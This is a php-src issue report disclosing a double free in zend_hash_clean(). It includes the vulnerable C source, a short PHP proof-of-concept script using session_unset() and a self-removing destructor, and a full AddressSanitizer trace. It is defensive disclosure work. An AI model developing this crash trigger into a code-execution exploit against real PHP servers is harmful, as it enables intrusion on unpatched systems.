[php-src] Issue #22061: Double free via re-entrant destructor in `zend_hash_clean()` (Double Free)

Issue: https://github.com/php/php-src/issues/22061
Author: therealcoiffeur

### Description

### Summary

`zend_hash_clean()`'s `HT_IS_WITHOUT_HOLES` branch passes `&p->val` directly to `pDestructor` without making a temporary copy and without setting the slot to `IS_UNDEF` first. This differs from `_zend_hash_del_el_ex()`, which always copies the value to `tmp` and UNDEFs the slot before calling the destructor. The UNDEF write acts as a re-entrancy guard.

When the outer destructor runs for an object (via `zval_ptr_dtor` -> `i_zval_ptr_dtor` -> `zend_objects_store_del`), the object's `__destruct` method executes. Inside `__destruct`, if user code calls any function that triggers `zend_hash_del()` on the same hash for the same key currently being destructed, `_zend_hash_del_el_ex()` runs:

1. Copies `p->val` (which still holds the live IS_OBJECT zval) to `tmp`.
2. Sets `p->val = IS_UNDEF`.
3. Calls `pDestructor(&tmp)` -> `zend_objects_store_del()` -> frees the object (second destructor call).

When `__destruct` returns, the first `zend_objects_store_del` (from the outer loop's call) continues and finds `GC_REFCOUNT == 0` again (freed memory), then calls `efree(ptr)` a second time.

In debug builds, `ZEND_ASSERT(IS_OBJ_VALID(EG(objects_store).object_buckets[handle]))` at line 188 catches this before the second `efree`. In release builds, the assertion is absent and the double free occurs.

### Vulnerable Source Code

```c
// Zend/zend_hash.c:1926-1932 -- HT_IS_WITHOUT_HOLES path in zend_hash_clean()
} else if (HT_IS_WITHOUT_HOLES(ht)) {
    do {
        ht->pDestructor(&p->val);       // line 1928 -- direct pointer, NO copy, NO UNDEF guard
        if (EXPECTED(p->key)) {
            zend_string_release(p->key);
        }
    } while (++p != end);
```

```c
// Zend/zend_hash.c:1498-1502 -- _zend_hash_del_el_ex() called when dtor triggers re-entrant delete
if (ht->pDestructor) {
    zval tmp;
    ZVAL_COPY_VALUE(&tmp, &p->val);    // copies the live value
    ZVAL_UNDEF(&p->val);               // marks slot as dead BEFORE calling dtor
    ht->pDestructor(&tmp);             // SECOND dtor on same underlying object
}
```

### How to Trigger

```php
<?php
session_start();

class SelfRemover {
    public function __destruct() {
        unset($_SESSION['x']);
    }
}

$_SESSION['x'] = new SelfRemover();
session_unset();

echo "done\n";
```

The double free fires when:
1. A hash is being cleaned by `zend_hash_clean()`: Triggered by `session_unset()` (`session.c:2691`), `CachingIterator::rewind()` (`spl_iterators.c:2327`), or `SplFixedArray::__unserialize()` (`spl_fixedarray.c:578`).
2. The hash has no holes (`HT_IS_WITHOUT_HOLES` is true: True for any array without prior element deletions).
3. An object in the hash (with no other references) has a `__destruct` that removes the same element from the same hash.

<u>Command:</u>

```bash
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f4/poc.php
```

<u>Output:</u>

```
=================================================================
==24794==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000076f10 at pc 0x000103e04b10 bp 0x00016dcbbef0 sp 0x00016dcbbee8
READ of size 4 at 0x604000076f10 thread T0
    #0 0x000103e04b0c in zend_gc_delref zend_types.h:1358
    #1 0x000103e05e94 in zend_objects_store_del zend_objects_API.c:179
    #2 0x000103e6d3d0 in rc_dtor_func zend_variables.c:56
    #3 0x000103e6d4e4 in i_zval_ptr_dtor zend_variables.h:44
    #4 0x000103e6d40c in zval_ptr_dtor zend_variables.c:83
    #5 0x000103d00070 in zend_hash_clean zend_hash.c:1917
    #6 0x000102ffaad0 in zif_session_unset session.c:2691
    #7 0x000103bd2d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #8 0x00010386ba9c in execute_ex zend_vm_execute.h:110168
    #9 0x00010386c430 in zend_execute zend_vm_execute.h:115586
    #10 0x000103e8cb44 in zend_execute_script zend.c:1971
    #11 0x00010347b658 in php_execute_script_ex main.c:2646
    #12 0x00010347bbc0 in php_execute_script main.c:2686
    #13 0x000103e934b8 in do_cli php_cli.c:947
    #14 0x000103e91904 in main php_cli.c:1370
    #15 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

0x604000076f10 is located 0 bytes inside of 40-byte region [0x604000076f10,0x604000076f38)
freed by thread T0 here:
    #0 0x000107159258 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41258)
    #1 0x0001036ef664 in __zend_free zend_alloc.c:3571
    #2 0x0001036f337c in _efree zend_alloc.c:2788
    #3 0x000103e06318 in zend_objects_store_del zend_objects_API.c:197
    #4 0x000103e08ca4 in zend_object_release zend_objects_API.h:76
    #5 0x000103e08774 in zend_objects_destroy_object zend_objects.c:184
    #6 0x000103e05e8c in zend_objects_store_del zend_objects_API.c:178
    #7 0x000103e6d3d0 in rc_dtor_func zend_variables.c:56
    #8 0x000103e6d4e4 in i_zval_ptr_dtor zend_variables.h:44
    #9 0x000103e6d40c in zval_ptr_dtor zend_variables.c:83
    #10 0x000103d00070 in zend_hash_clean zend_hash.c:1917
    #11 0x000102ffaad0 in zif_session_unset session.c:2691
    #12 0x000103bd2d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #13 0x00010386ba9c in execute_ex zend_vm_execute.h:110168
    #14 0x00010386c430 in zend_execute zend_vm_execute.h:115586
    #15 0x000103e8cb44 in zend_execute_script zend.c:1971
    #16 0x00010347b658 in php_execute_script_ex main.c:2646
    #17 0x00010347bbc0 in php_execute_script main.c:2686
    #18 0x000103e934b8 in do_cli php_cli.c:947
    #19 0x000103e91904 in main php_cli.c:1370
    #20 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

previously allocated by thread T0 here:
    #0 0x000107159164 in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
    #1 0x0001036f3998 in __zend_malloc zend_alloc.c:3543
    #2 0x0001036f3250 in _emalloc zend_alloc.c:2778
    #3 0x000103e08d68 in zend_objects_new zend_objects.c:190
    #4 0x00010370f988 in _object_and_properties_init zend_API.c:1819
    #5 0x00010370fba0 in object_init_ex zend_API.c:1842
    #6 0x000103b2d710 in ZEND_NEW_SPEC_CONST_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:63944
    #7 0x00010386ba9c in execute_ex zend_vm_execute.h:110168
    #8 0x00010386c430 in zend_execute zend_vm_execute.h:115586
    #9 0x000103e8cb44 in zend_execute_script zend.c:1971
    #10 0x00010347b658 in php_execute_script_ex main.c:2646
    #11 0x00010347bbc0 in php_execute_script main.c:2686
    #12 0x000103e934b8 in do_cli php_cli.c:947
    #13 0x000103e91904 in main php_cli.c:1370
    #14 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

SUMMARY: AddressSanitizer: heap-use-after-free zend_types.h:1358 in zend_gc_delref
Shadow bytes around the buggy address:
  0x604000076c80: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
  0x604000076d00: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
  0x604000076d80: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
  0x604000076e00: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
  0x604000076e80: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
=>0x604000076f00: fa fa[fd]fd fd fd fd fa fa fa fa fa fa fa fa fa
  0x604000076f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x604000077000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x604000077080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x604000077100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x604000077180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==24794==ABORTING
[1]    24794 abort      USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f4/poc.php
```

> Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-m343-j97r-vmpw has been identified as a possible duplicate of an issue that has already been opened.
> "Duplicate of https://github.com/php/php-src/issues/20001."

### PHP Version

```plain
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
```

### Operating System

_No response_